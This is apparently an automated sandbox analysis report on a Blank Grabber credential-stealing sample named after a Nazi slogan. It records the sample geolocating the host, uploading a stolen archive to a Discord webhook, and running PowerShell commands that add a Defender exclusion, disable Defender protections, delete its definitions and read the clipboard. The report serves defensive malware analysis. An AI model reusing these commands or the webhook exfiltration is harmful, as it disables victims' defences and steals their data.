Nov 15, 2024 10:44:34.504224062 CET	375	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 09:44:33 GMT Content-Type: application/json; charset=utf-8 Content-Length: 198 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 22 2c 22 72 65 76 65 72 73 65 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 2e 73 74 61 74 69 63 2e 71 75 61 64 72 61 6e 65 74 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 39 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"Texas","timezone":"America/Chicago","reverse":"173.254.250.89.static.quadranet.com","mobile":false,"proxy":false,"query":"173.254.250.89"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	50937	162.159.128.233	443	7448	C:\Users\user\Desktop\HeilHitler.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 09:44:35 UTC	302	OUT	POST /api/webhooks/1302413781162266715/WJ0cdpWb68IO94MZWMtc7o2HkgZFWYLoExtrMC3fyimxUgR5SCyIRovGkrea9pNRE2_V HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 759927 User-Agent: python-urllib3/2.2.2 Content-Type: multipart/form-data; boundary=8a9179acbaa5554a9b480b1ba637caac
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: 2d 2d 38 61 39 31 37 39 61 63 62 61 61 35 35 35 34 61 39 62 34 38 30 62 31 62 61 36 33 37 63 61 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 6a 6f 6e 65 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 0f fd 42 e2 21 04 00 00 01 0f 9c 01 e5 f8 bf 2f a7 d8 34 33 60 7e 7f 72 f0 91 3e b9 c8 56 54 a4 fd 49 2b 85 ac 13 06 e5 ac 0b fd 72 b3 87 c8 7f 33 4a fe 85 f3 81 ee 26 81 b3 65 80 cf cf 88 03 37 31 1c 24 27 34 4e 59 76 79 ac 00 e6 60 6c 36 63 c5 fe 9e a0 2a 28 ff fd 19 10 ba bb de 2e 5c Data Ascii: --8a9179acbaa5554a9b480b1ba637caacContent-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!B!/43`~r>VTI+r3J&e71$'4NYvy`l6c*(.\
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: 2d c8 20 f3 a7 92 06 4e 93 aa cc 88 56 26 df 64 e7 9e 29 83 a9 f8 9a e1 aa 3b ec 25 9b 17 69 13 52 a7 ca 5c e3 9a f1 92 a8 c6 dd 95 d0 e5 36 b6 06 bf 19 ad 12 09 4b d1 fe 37 f4 2d 1a c0 32 b9 74 de 04 9b 06 53 3f 8e 6e 0a fa d2 9e a1 27 d5 04 5e 0c 0f ba 74 85 ea fc 0b 37 7c 63 80 42 77 e0 34 8c a9 34 df 1d 92 c3 8e e0 85 0a b4 df a1 be fe 08 76 3d 37 87 17 31 f3 2e 8b 34 c6 90 5d c2 c3 76 e6 43 1d 15 f6 68 09 ec d8 36 5b 1a cb c3 38 e6 1b 87 0b a2 56 d3 a9 3f 3c d6 c2 41 92 b4 52 c5 a4 9c 6e 3e 41 65 a5 b4 df 0f 15 62 03 aa 59 6d ee 0c aa 5d f6 35 d5 d2 95 32 ca 8b c7 02 08 4f 62 f1 0a d1 ba 5f d6 96 58 4e 6e 41 fb 11 80 00 bf 99 8e b4 e9 cf 31 40 ee 32 78 06 e9 3a 26 aa 9d 37 f5 56 12 84 e4 bb d0 7c 87 2d 1b 6e 74 0d 95 99 6a b8 f7 df 4f 6a a5 2f 6a 8b Data Ascii: - NV&d);%iR\6K7-2tS?n'^t7\|cBw44v=71.4]vCh6[8V?<ARn>AebYm]52Ob_XNnA1@2x:&7V\|-ntjOj/j
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: 14 9a fc cf af 07 83 bd 3c 93 20 e7 fa 57 a1 53 5e ad ef 19 63 ac 0f da 50 c4 15 78 24 63 19 8a 2b 61 92 f8 9d 83 9d ee 5e 63 5d 68 42 bc f1 bf 91 3e 0c 19 47 bb 4c b8 2d 96 ba 06 d2 34 a6 c8 14 d7 a4 a6 97 bb 0a d0 75 5e bb 76 8c 0a ea fd 8c 65 6f c8 b1 1e 46 4b a3 ab b4 37 f1 25 cb c9 58 7e 33 89 03 42 4b ed 56 7c 4d 50 08 1f ae b3 68 48 2c 36 28 96 d5 55 c9 96 fc 60 0a c9 5a 84 0b 6e 63 82 37 b1 1e 81 89 4a 90 17 2c f8 8f 9b 89 51 2c d4 87 7f d7 54 08 5f 53 e8 2d 29 cb 00 fe 4b bc 96 7e dc 37 f4 2e 80 17 f8 8f 98 4c 39 6e d7 48 4a 81 34 d1 04 ba f1 57 59 f9 5e 6c 3b 32 27 b1 2a e3 43 eb 07 38 0a 12 12 8c 4c 57 5a fb c9 47 da 63 4b 3c 07 1f 8f 94 81 26 c1 9e 6c 72 69 b2 4b b5 4f 9d c0 e6 a3 b9 62 17 05 7a 27 28 dc 0b d6 ea e8 56 f4 83 31 f0 77 ba 32 dc Data Ascii: < WS^cPx$c+a^c]hB>GL-4u^veoFK7%X~3BKV\|MPhH,6(U`Znc7J,Q,T_S-)K~7.L9nHJ4WY^l;2'*C8LWZGcK<&lriKObz'(V1w2
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: d1 1a c3 ef 91 2d dd ec 3a 07 8a 7b a9 71 83 a1 f2 ea 7c db 02 ae c8 d8 28 c1 d2 10 0a 80 c1 34 cb d1 2a 83 9b 7c e2 24 96 cf 62 06 0f 32 6b 59 e1 75 b3 dd 9c 95 c5 b7 9f 4a 5d d4 d1 63 ba 99 9b 4f 5c 05 10 6b 50 c0 7f bf 51 7b 9e 7e 42 dc 15 0a 53 f5 38 a2 f8 23 42 fa be 6c c7 64 35 8f f6 b9 8a ed b0 e8 73 1d d7 e6 19 94 8c 82 1a ed ee 48 64 ba 4f 3b f1 79 1e 11 5f 4c 1e b4 6d 1e 79 bd 3e fa 7f 74 f4 df b9 b3 db ef 66 8c 56 76 01 ad ee 9a 9d 30 fb f1 8a 9d b9 68 65 76 9b c3 58 9b 1e f2 c6 d2 53 59 11 49 af 94 2b 3b bb 02 7b ba 6f a5 89 34 94 e5 2d 9c d7 e7 79 07 53 69 ce f9 a7 a0 25 32 15 d9 84 e6 8d 27 fb b2 46 a3 d1 7b 77 73 a8 d4 90 b6 54 fa 5f 2e 19 69 d1 48 fc 1b 67 0b f4 57 06 ad 60 c9 51 0c 1f 95 6b 3c 9d 19 b4 80 c3 ed 5f 8d 38 42 61 8f a2 d0 f3 Data Ascii: -:{q\|(4*\|$b2kYuJ]cO\kPQ{~BS8#Bld5sHdO;y_Lmy>tfVv0hevXSYI+;{o4-ySi%2'F{wsT_.iHgW`Qk<_8Ba
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: 42 94 f8 6f d1 e5 8c 5e dc e5 ec d6 1d be 10 38 e2 cb 52 f3 7f 2d 43 e4 88 b3 78 b2 61 7a d4 51 c9 30 9e cb 96 bc db 39 5c 8d 72 83 d2 45 b1 e5 3e 36 c4 0c 90 54 3a 96 26 7f 70 e0 2c e3 1c 7b 67 a9 1d 28 e7 db 32 6d 08 f8 b6 9f 48 17 c3 6b 9e 54 c6 c2 1e c7 5e 8b 73 77 ad eb c2 58 27 a8 b1 55 66 60 2b ac c3 d9 45 39 a3 bd 60 1d ec 2d eb e3 53 8d 28 62 f0 81 20 3d 66 ac ca 32 ef 9c 50 16 bf 74 a1 44 06 20 17 cb ec 79 18 85 c0 19 9f 24 5d 6e fb 7c 90 61 24 f1 ee 39 fc 53 77 3b 80 d3 33 5d 1e af 7c 66 fd 47 09 1b 76 68 23 f3 22 26 6f 77 6d 5a 9b ea 32 76 7c d2 1c d4 96 de 14 01 0e 93 80 e0 c4 aa fd 33 ab d3 96 33 be 66 2c 9c b4 d5 ed ba a7 81 d2 69 2a 41 79 fa 68 78 47 3a 90 3e bc eb 19 60 64 b7 a8 ae 9d 34 93 88 cd 6c 71 d0 f0 05 13 df 57 f0 6b 49 16 f3 9a Data Ascii: Bo^8R-CxazQ09\rE>6T:&p,{g(2mHkT^swX'Uf`+E9`-S(b =f2PtD y$]n\|a$9Sw;3]\|fGvh#"&owmZ2v\|33f,i*AyhxG:>`d4lqWkI
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: 26 b1 9c fc 63 09 52 08 c2 d4 7b ae 42 81 33 90 67 18 1e e2 8a 8c b9 d6 a0 db 7b 62 b8 03 a7 68 d8 fd 25 97 d8 13 c8 e1 41 cd 13 4d 7d 5b ca e9 06 e4 d4 e2 46 b3 6d 2e 14 a7 ea c8 a6 06 4e df ee 0a 03 37 83 b6 86 2f 8e 35 3c 12 03 8a be e1 a1 31 fc dc 65 95 ec ad f9 b3 0d 19 2e 23 9f 00 b0 be 1d a2 d3 00 68 a0 25 a9 b2 4f 4f 4c f7 9c ed be fc f0 3b aa a4 ac d8 ff eb af 3e a5 c3 d4 f8 6a 37 ae f8 ab 73 15 88 13 f3 19 29 58 10 22 40 6e e4 67 aa e7 83 0f 4b 82 16 c6 ea ed 99 5e 8f 84 6b b9 53 df 9c cd e6 fc b0 be 8b fb ce c4 27 32 89 60 b9 c1 98 bb 7f 78 cb ed 4a be 10 1e 37 bb 9c b0 cb 3d 77 78 a2 16 dd 64 e4 39 fe 41 61 5f 5b 06 76 14 2a f3 ee 5b 2d 55 1b 35 05 0b ab c1 98 9f 50 51 64 01 8e 71 4e e7 b2 b8 04 18 d6 46 f9 da 99 d6 a0 7c f4 35 7b d9 eb 04 df Data Ascii: &cR{B3g{bh%AM}[Fm.N7/5<1e.#h%OOL;>j7s)X"@ngK^kS'2`xJ7=wxd9Aa_[v*[-U5PQdqNF\|5{
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: 4e 34 d6 48 a8 04 64 84 a4 d6 ee a6 0e ff 28 08 3a 22 80 0a 80 75 02 8f 1a ff eb 8a 3c 36 cd 92 72 65 30 3a 70 26 69 c0 81 f3 8d b4 16 86 5f cf de ec 13 bc 8f 62 30 f7 f5 5f 78 1b 09 09 20 11 94 18 1e 53 54 8d 3c 1a d4 7d 1c 99 9e 69 b5 4b db ff a8 d9 dc 1a 85 44 bd 8e 81 1b ac 62 0a e9 05 13 52 57 30 2f 9b e2 72 f1 7a 64 41 75 ed b7 2b c0 f7 07 e5 f4 5b 7f 35 6f 55 e7 47 91 32 56 ae 95 63 8a f6 62 0d 87 12 7c c3 cd 74 39 56 60 29 89 66 f4 d5 58 c4 96 99 22 2a d7 b7 0d 59 4c ac 91 f0 45 fa f7 31 f4 07 11 d0 46 2d e0 5e 07 ce fa 98 9c d6 ab da 55 b4 0c 4b 89 be 10 dc 67 7b 23 e6 e1 22 b7 a4 c8 c2 8b ef d4 39 8b a6 2f 28 da dd 1e 47 90 85 97 dd 0b 74 ef d8 4d 7f 86 e1 d3 ed c4 60 09 2c 8b 56 3c 61 b1 d1 a1 d9 f2 4f 33 92 5a 8b 0f 2d 03 e2 56 5e 64 8e d4 62 Data Ascii: N4Hd(:"u<6re0:p&i_b0_x ST<}iKDbRW0/rzdAu+[5oUG2Vcb\|t9V`)fX"*YLE1F-^UKg{#"9/(GtM`,V<aO3Z-V^db
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: 43 af b1 f1 81 39 9a a3 73 05 0d 0f 01 30 ee 3d f8 7a 70 e7 65 fa f7 4c 60 d5 11 35 60 e8 b5 07 cc d9 35 fe 17 a0 09 a9 b0 59 3e 71 8e a9 bc 0d c5 b4 6b 27 8c 4b c4 ae aa bc 7f af ba a5 a4 9e d9 e7 1e 10 09 af 4c 29 c7 d3 89 6a 76 11 de d5 aa df bd bc 57 44 53 1e 1d 33 a2 e8 b3 71 ce 70 9c 5d f6 3d 8c a8 44 76 9f 29 9e b2 c6 54 b3 12 1a c6 0d a1 27 57 d7 57 5f 02 19 82 4b 23 d6 98 33 90 0f 5a d0 2d ad 2d 8a 02 b8 ea f3 65 fa 58 e9 dd 2e 6b 78 9d cf 46 2b 8f 9f c7 c9 23 c8 e0 19 94 27 9c 77 21 0e 25 84 9d a5 ec e4 20 f3 25 3f 61 4f b3 5d e9 2b d6 51 cc e6 d9 30 b6 2b 06 00 f0 7a b9 ca 36 25 a4 b2 b5 0a e8 e3 a6 5a b5 fc 60 e2 89 58 7c 96 29 19 29 8e 04 95 60 75 06 58 7e f8 57 40 9e 37 b2 9e dd 92 f2 a4 d6 b7 f6 3b 42 89 29 71 29 39 04 4f db 63 85 38 e7 2a Data Ascii: C9s0=zpeL`5`5Y>qk'KL)jvWDS3qp]=Dv)T'WW_K#3Z--eX.kxF+#'w!% %?aO]+Q0+z6%Z`X\|))`uX~W@7;B)q)9Oc8*
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: ac 3e e8 89 e0 95 c5 a2 b7 9a 86 bf 2a 30 27 ab e4 a3 2a e0 53 46 fb 00 c5 03 2f ea c4 97 6b 78 44 24 55 5a e6 20 55 60 f7 bd f7 99 c9 03 03 82 2e a5 d5 34 c5 7f 17 d3 c0 ec 26 fb 77 f9 fc 62 67 57 0e 1a 3e 82 d8 e4 3d 4e b4 82 8d af 92 30 b3 3c 2e ea 8e c3 2d 1d cf d5 60 c1 5b f2 b0 81 f7 a6 4a 6a ac 4a 76 95 1c b2 9f 8d 84 38 b9 b9 11 fc 5b ee ca df 25 e3 4d c1 c4 ed cb 39 a7 57 8e 56 c5 5b f8 de 41 c0 ae 30 c0 43 96 80 b8 49 9f d1 81 4c e3 80 50 c9 5f cb c4 e5 73 ae 6b 6c d8 9c 71 97 41 2d dc 87 e8 53 1d 35 e6 d7 ea fa 94 65 ca 12 dd da 04 db c5 07 1e 95 30 59 0d 75 34 ff f0 11 78 40 2a 6d 50 ee fd fd ef d9 88 1f f2 78 ea 30 3b f4 c8 05 43 db 1e 23 80 1a 32 70 ec 17 50 dd ff ff 83 0a 13 0d 4c 25 c1 e1 5c 03 d6 b5 74 24 ec b5 67 28 f4 f2 8f 7c 7b 4e e5 Data Ascii: >0'SF/kxD$UZ U`.4&wbgW>=N0<.-`[JjJv8[%M9WV[A0CILP_sklqA-S5e0Yu4x@*mPx0;C#2pPL%\t$g(\|{N
2024-11-15 09:44:35 UTC	16384	OUT	Data Raw: 47 55 45 ce 28 2b de 91 8e 20 e8 c4 bd ea 6a 03 c4 1e 1d 9f 4c 4f 81 8d 3b 0c e7 49 1c 61 0f cf 2f 3e 6e c1 69 b6 1f d6 85 42 fb 96 65 f5 83 d3 ae 16 95 63 89 91 66 fd dd af 03 4f 75 d8 22 03 f2 d3 a4 a0 50 8f 2a 01 4c 5e 7e 8c d9 e3 34 53 37 0d c1 d9 c4 81 0e 18 4a 71 e3 03 ec ed f9 b5 b7 77 e0 dd ea 58 54 ac 86 8e 67 9a 19 c5 c9 4a e9 83 d6 3e d0 75 81 4b 93 24 33 1c 01 5f 8f 77 37 7a 03 f2 2d d4 16 84 e0 10 11 a9 9e 58 b2 52 06 12 a2 a4 ad c7 50 8e b0 b4 17 ab 99 f1 2f 68 08 6f b0 c7 b4 45 63 e9 a1 8f 6b c8 1e 42 5c 45 67 83 e0 d8 04 85 a8 82 a7 77 36 80 b3 61 0f 5c 46 f1 2a c2 0e 26 db cf 95 e9 06 9a 80 e9 a7 68 1c 50 e3 ab 5e e3 cc e6 b6 d6 a4 ee 2f 6c 2c 9d 0d 23 01 c9 8d 53 1d 88 e7 69 4b 0f 16 99 4c eb 72 f6 8f a3 7a 25 12 e2 c0 ab 64 d2 75 32 11 Data Ascii: GUE(+ jLO;Ia/>niBecfOu"PL^~4S7JqwXTgJ>uK$3_w7z-XRP/hoEckB\Egw6a\F&hP^/l,#SiKLrz%du2
2024-11-15 09:44:36 UTC	1259	IN	HTTP/1.1 404 Not Found Date: Fri, 15 Nov 2024 09:44:36 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1731663877 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sL1ESUKxhK9%2Babw4uCeDjxgqI4thUCNJCC78TML%2F85lNJMjNqLMWZ7Zs%2FqLOkjx%2BeMM11gsaMrJdKoNakvekrPA90Myi75LQhPIN6Y5BQQA7YVaXA%2FFvJrTzqQTB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=f55cd052b753aefed4ac19e3284c0198d78f1511-1731663876; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=g7xrMuiCuj5YxJWgwxHxx7_wo5yDsKgDIiJmgNGLoGA-1731663876289-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8e2e4db66acf6bce-DFW

Target ID:	0
Start time:	04:44:01
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\HeilHitler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\HeilHitler.exe"
Imagebase:	0x7ff633d60000
File size:	6'251'402 bytes
MD5 hash:	AEAB677EDFB0B7838AD440C071A04965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1680543056.0000028B92082000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1680543056.0000028B92084000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:44:01
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\HeilHitler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\HeilHitler.exe"
Imagebase:	0x7ff633d60000
File size:	6'251'402 bytes
MD5 hash:	AEAB677EDFB0B7838AD440C071A04965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2024405519.000001BD43030000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.2017807345.000001BD43E2A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2025939693.000001BD43230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:44:03
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:44:03
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:44:03
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:44:03
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:44:04
Start date:	15/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:44:04
Start date:	15/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:44:05
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:44:05
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 7872, Parent PID: 7796

General

Target ID:	10
Start time:	04:44:05
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:44:05
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:44:05
Start date:	15/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff73a600000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:44:05
Start date:	15/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff73a600000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:44:06
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:44:06
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:44:06
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8108, Parent PID: 8068

General

Target ID:	17
Start time:	04:44:06
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:44:07
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:44:07
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:44:07
Start date:	15/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff73a600000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
